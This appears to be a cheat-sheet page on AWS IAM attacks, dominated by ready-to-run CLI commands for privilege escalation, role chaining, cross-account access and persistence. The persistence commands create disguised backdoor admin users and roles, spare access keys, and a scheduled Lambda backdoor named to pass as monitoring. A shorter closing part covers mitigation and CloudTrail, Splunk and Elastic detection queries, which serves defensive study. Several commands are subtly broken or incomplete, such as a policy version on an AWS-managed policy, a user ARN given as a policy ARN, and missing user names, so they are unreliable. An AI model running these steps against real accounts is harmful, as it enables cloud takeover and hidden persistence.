Critical Severity | T1078.004
🔐 AWS IAM Attack Techniques
🧠 Description
AWS Identity and Access Management (IAM) attacks target the authentication and authorization mechanisms in AWS environments to gain unauthorized access, escalate privileges, and maintain persistence.
Why IAM is a Prime Target:
- Centralized Access Control: IAM controls everything in AWS
- Privilege Escalation Path: Misconfigured policies allow privesc
- Persistence Opportunity: Create backdoor users/roles
- Lateral Movement: Cross-service access via role chaining
- Hard to Detect: Legitimate operations blend with attacks
🔍 IAM Enumeration
Enumerate Current Identity:
# Get current identity aws sts get-caller-identity aws iam get-user aws iam list-attached-user-policies --user-nameaws iam list-user-policies --user-name # List users aws iam list-users # List roles aws iam list-roles # List groups aws iam list-groups
Enumerate Permissions:
# Simulate policy evaluation
aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::123456789012:user/myuser \
--action-names ec2:DescribeInstances \
--resource-arns "*"
# List permissions for current user
aws iam list-attached-user-policies --user-name $(aws iam get-user --query 'User.UserName' --output text)
# Check for Admin access
aws iam list-attached-user-policies --user-name | grep -i admin
Enumerate Service Access:
# Try listing various services aws ec2 describe-instances --region us-east-1 2>/dev/null aws s3 ls 2>/dev/null aws lambda list-functions 2>/dev/null aws dynamodb list-tables 2>/dev/null aws rds describe-db-instances 2>/dev/null # Check specific service permissions aws iam list-user-policies --user-name
🔓 Privilege Escalation
Technique 1: Create New User with Admin Policy:
# Create backdoor user
aws iam create-user --user-name backup-admin
# Attach admin policy
aws iam attach-user-policy --user-name backup-admin \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Create access key for persistence
aws iam create-access-key --user-name backup-admin
Technique 2: Update Existing User's Policy:
# Create new version of admin policy
aws iam create-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
--policy-document file://admin-policy.json \
--set-as-default
# Attach to existing user
aws iam attach-user-policy --user-name target-user \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Technique 3: PassRole + Lambda:
# Create Lambda function with reverse shell
aws lambda create-function --function-name privesc \
--runtime python3.9 \
--handler exploit.handler \
--zip-file fileb://payload.zip \
--role arn:aws:iam::123456789012:role/existing-role
# Invoke with assumed role
aws lambda invoke --function-name privesc
Technique 4: Attach Policy to Role:
# List existing roles aws iam list-roles --query 'Roles[].RoleName' # Attach admin policy to any role aws iam attach-role-policy --role-name\ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess # Assume the role aws sts assume-role --role-arn arn:aws:iam::123456789012:role/ \ --role-session-name evil-session
Technique 5: Create New Version of Policy:
# Create policy document
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}]
}
# Save as admin.json and apply
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:user/target \
--policy-document file://admin.json \
--set-as-default
🚀 Lateral Movement
Role Chaining:
# List all roles and their trust policies
aws iam list-roles --query 'Roles[*].[RoleName,Arn]'
# Check if you can assume any role
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/TargetRole \
--role-session-name attack-session
# After assuming, export credentials
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
Cross-Account Access:
# If you have cross-account role access
aws sts assume-role \
--role-arn arn:aws:iam::TARGET_ACCOUNT:role/AccessRole \
--external-id SuspiciousExternalId \
--role-session-name cross-account
# Enumerate target account
aws ec2 describe-instances --region us-east-1
aws s3 ls
Service-to-Service Impersonation:
# Lambda execution role
aws lambda add-permission --function-name existing-func \
--action lambda:InvokeFunction \
--principal 123456789012
# Use Lambda to assume another role
import boto3
def handler(event, context):
sts = boto3.client('sts')
creds = sts.assume_role(
RoleArn="arn:aws:iam::123456789012:role/TargetRole",
RoleSessionName="attacker"
)
# Use creds to access target resources
🎯 Persistence Mechanisms
1. Backdoor User:
# Create user with admin access
aws iam create-user --user-name aws-support
aws iam attach-user-policy --user-name aws-support \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name aws-support
# Save credentials securely
2. Backdoor Role:
# Create role with wide access
aws iam create-role --role-name aws-deploy \
--assume-role-policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:root"},
"Action": "sts:AssumeRole"
}]
}'
aws iam attach-role-policy --role-name aws-deploy \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
3. Access Key Rotation:
# Create multiple access keys for same user aws iam create-access-key --user-name existing-admin # Rotate when one gets burned
4. Lambda Backdoor:
# Create Lambda function that runs periodically
aws lambda create-function --function-name CloudWatchMonitor \
--runtime python3.9 \
--handler backup.handler \
--zip-file fileb://backdoor.zip \
--role arn:aws:iam::123456789012:role/existing-role
# Create CloudWatch rule to trigger it
aws events put-rule --name "DailyCheck" --schedule-expression "rate(1 day)"
aws events put-targets --rule DailyCheck \
--targets Id=1,Arn=arn:aws:lambda:us-east-1:123456789012:function:CloudWatchMonitor
💥 Impact Analysis
Potential Damage:
- Complete Cloud Compromise: Full control over all AWS resources
- Data Exfiltration: Access S3, databases, secrets
- Cryptojacking: Spin up mining infrastructure
- Financial Impact: Large AWS bills from resource abuse
- Supply Chain: Modify Lambda layers, container images
- Reputational Damage: Customer data exposure
🛡️ Mitigation
✅ Preventive Controls:
- Least Privilege: Grant only necessary permissions
- Permission Boundaries: Use iam:PermissionsBoundary
- Service Control Policies: SCPs to restrict admin actions
- Regular Audits: Review IAM policies monthly
- AWS Config Rules: Detect overly permissive policies
- Disable Root: Don't use root account for operations
CloudTrail Monitoring:
# CloudTrail events to monitor - CreateUser, DeleteUser - AttachUserPolicy, DetachUserPolicy - CreateAccessKey, DeleteAccessKey - CreateRole, DeleteRole - AssumeRole - PutUserPolicy, PutRolePolicy # AWS Config rules - iam-user-no-custom-permissions - iam-policy-no-statements-with-admin-access - iam-role-managers-should-review
GuardDuty Coverage:
- PersistedIAMUser/Role creation
- Unusual IAM activity
- Privilege escalation attempts
- Suspicious API calls
🔍 Detection Queries
CloudWatch Logs Insights:
# Find new admin users fields @timestamp, userIdentity.userName, eventName, sourceIP | filter eventName like /CreateUser|AttachUserPolicy/ | filter responseElements.attachments.policyArn like /Administrator/ # Find privilege escalation fields @timestamp, userIdentity.arn, eventName | filter eventName = "AssumeRole" | filter userIdentity.arn like /your-org/ # Find suspicious role assumption fields @timestamp, userIdentity.userName, eventName, errorCode | filter eventName = "AssumeRole" and errorCode like /AccessDenied/
Splunk/Elastic Detection:
# Detect admin policy attachment index=cloudtrail eventName IN (AttachUserPolicy, PutUserPolicy) | search responseElements.policyArn=*AdministratorAccess* # Detect new users index=cloudtrail eventName=CreateUser | stats count by userIdentity.userName, sourceIP
🛠️ Tools
Automated enumeration:
- enumerate-iam: Enumerate permissions in AWS
- Cartography: Map AWS resources and relationships
- PMapper: Identify privilege escalation paths
- PrincipalMapper: Analyze IAM principal access
PMapper Usage:
# Analyze privilege escalation paths python3 pmapper.py --all-accounts --role arn:aws:iam::123456789012:role/TargetRole # Quick check python3 pmapper.py --visualize